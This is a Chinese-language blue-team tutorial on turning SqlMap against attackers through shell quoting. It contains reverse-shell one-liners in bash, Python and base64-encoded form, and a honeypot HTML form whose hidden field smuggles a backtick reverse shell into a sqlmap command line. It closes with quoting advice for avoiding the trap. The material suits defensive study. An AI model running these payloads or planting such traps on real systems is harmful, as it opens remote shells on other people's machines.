反制常见红队工具
反制SqlMap¶
反制原理¶
单引号:单引号被识别为普通字符串,就是不识别引号里面的特殊字符,属于强引用。

双引号:双引号里面的特殊字符是可以被识别的,是弱引用。

反引号:在linux中,反引号中的内容一般是一行或多行命令,当这些命令被反引号引着,命令执行结果就会以字符串的形式被保留下来。

无引号:如何是连续的符号可以不加引号,但是如果有空格就有歧义,最好使用双引号。 于是我们可以构造一个页面,把我们需要传递的参数传入,如果攻击者没仔细看数据包就丢进sqlmap尝试注入的话就有可能导致被反制
反弹shell¶
Bash
# GET型
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
# POST型
echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNzc3NyAwPiYx| base64 -d|bash -i
GET反制¶

Note
可以看到这里的ls系统命令执行
Warning
注意如果是要bash反弹shell的话,需要先将环境切换为bash


Important
蓝队可以构造这样一个参数。并固定化,这样如果没有仔细看或者采取批量sqlmap的情况下,就有可能被反制
POST反制¶
HTML
<html>
<head>
<meta charset="utf-8">
<title> test demo</title>
</head>
<body>
<input>search the user</input>
<form action="test.html" method="post" enctype="text/plain">
<input type='hidden' name='name' value="A20&id=131241241&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNzc3NyAwPiYx| base64 -d|bash -i`&port=6379"/>
<input type="submit" value='提交'>
</form>
</body>
</html>
Important
蓝队可以构造这样一个页面,诱导攻击者(蜜罐)
Bash
sqlmap -u "http://xx.xx.xx.xx/test.php" --data "name=asho&id=45273434&query=shell`echo YmFzcxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxLzIzMzMgMD4mMQ== | base64 -d|bash -i`&port=6379"
Note
那么当红队执行如上的sqlmap命令时,便会反弹shell,从而实现反制
解决反制方案¶
- 不使用双引号包含URl或数据,避免变量解析,采用单引号包含
- 如果是批量扫描,可以编写一个过滤脚本在扫描之前过滤危险参数
- 眼睛擦亮点